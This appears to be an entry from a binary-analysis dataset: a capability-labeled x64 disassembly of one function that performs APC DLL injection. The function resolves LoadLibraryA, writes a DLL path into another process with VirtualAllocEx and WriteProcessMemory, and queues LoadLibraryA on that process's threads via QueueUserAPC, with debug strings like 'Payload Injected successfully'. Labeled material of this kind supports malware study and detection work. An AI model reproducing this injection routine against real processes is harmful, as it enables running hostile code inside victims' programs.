Function at 0x140011519
Capabilities:
Enumerate threads
Execute command
Inject apc

Disassembly:
jmp 0x140012f00
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x140027068]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
mov byte [rbp + 0x1e4], 0
lea rcx, [0x14002d2f6]
call fcn.140011672
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012fb6
lea rcx, str.Could_note_locate_real_address_of_LoadLibraryA__n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
mov rdx, qword [rbp + 8]
lea rcx, str.LoadLibraryA_is_located_at_real_address:_0X_p_n
call fcn.1400112f8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x220]
call fcn.1400112c6
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001303c
lea rcx, str.Could_not_allocate_Memory_in_target_process_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
mov rdx, qword [rbp + 0x28]
lea rcx, str.Dll_path_memory_allocated_at:_0X_p_n
call fcn.1400112f8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x220]
call fcn.1400112c6
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x1400130c4
lea rcx, str.Could_not_write_into_the_allocated_memory_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
mov rdx, qword [rbp + 0x28]
lea rcx, str.Dll_path_memory_was_written_at_address_:_0x_p_n
call fcn.1400112f8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x68], 0xffffffffffffffff
xor edx, edx
mov ecx, 4
call fcn.140011302
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
jne 0x140013132
lea rcx, str.Could_not_get_snapshot_of_threads_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
mov dword [rbp + 0x88], 0x1c
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call fcn.140011410
test eax, eax
jne 0x140013184
lea rcx, str.Could_not_get_first_thread_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
mov eax, dword [rbp + 0x230]
cmp dword [rbp + 0x94], eax
jne 0x140013308
mov byte [rbp + 0x1e4], 1
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0xc4], eax
cmp byte [rbp + 0x1e4], 0
jne 0x1400131be
lea rcx, str.threadId
call fcn.1400110e6
mov edx, dword [rbp + 0xc4]
lea rcx, str.Exploitng_thread_with_ID__d
call fcn.1400112f8
cmp byte [rbp + 0x1e4], 0
jne 0x1400131e5
lea rcx, str.threadId
call fcn.1400110e6
mov r8d, dword [rbp + 0xc4]
xor edx, edx
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x1400132d7
cmp byte [rbp + 0x1e4], 0
jne 0x140013223
lea rcx, str.threadId
call fcn.1400110e6
mov edx, dword [rbp + 0xc4]
lea rcx, str.Thread__d_is_opened_succesfully_n
call fcn.1400112f8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
je 0x1400132a1
cmp byte [rbp + 0x1e4], 0
jne 0x140013279
lea rcx, str.threadId
call fcn.1400110e6
mov edx, dword [rbp + 0xc4]
lea rcx, str.Payload_Injected_successfully_in_thread__d_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
mov al, 1
jmp 0x14001335c
cmp byte [rbp + 0x1e4], 0
jne 0x1400132b6
lea rcx, str.threadId
call fcn.1400110e6
mov edx, dword [rbp + 0xc4]
lea rcx, str.Error_in_calling_QueueUSerAPC___for_thread__d_..._Continuing_to_try_other_threads_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
jmp 0x140013308
lea rcx, str.Error_in_Getting_found_thread_ID_n
call fcn.1400112f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400112f8
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor al, al
jmp 0x14001335c
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call fcn.140011096
test eax, eax
jne 0x140013184
cmp byte [rbp + 0x1e4], 0
jne 0x140013335
lea rcx, str.threadId
call fcn.1400110e6
cmp dword [rbp + 0xc4], 0
jne 0x140013350
mov edx, dword [rbp + 0x230]
lea rcx, str.No_Thread_for_use_in_process__d_n
call fcn.1400112f8
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140022490]
call fcn.140011573
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.14001131b
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret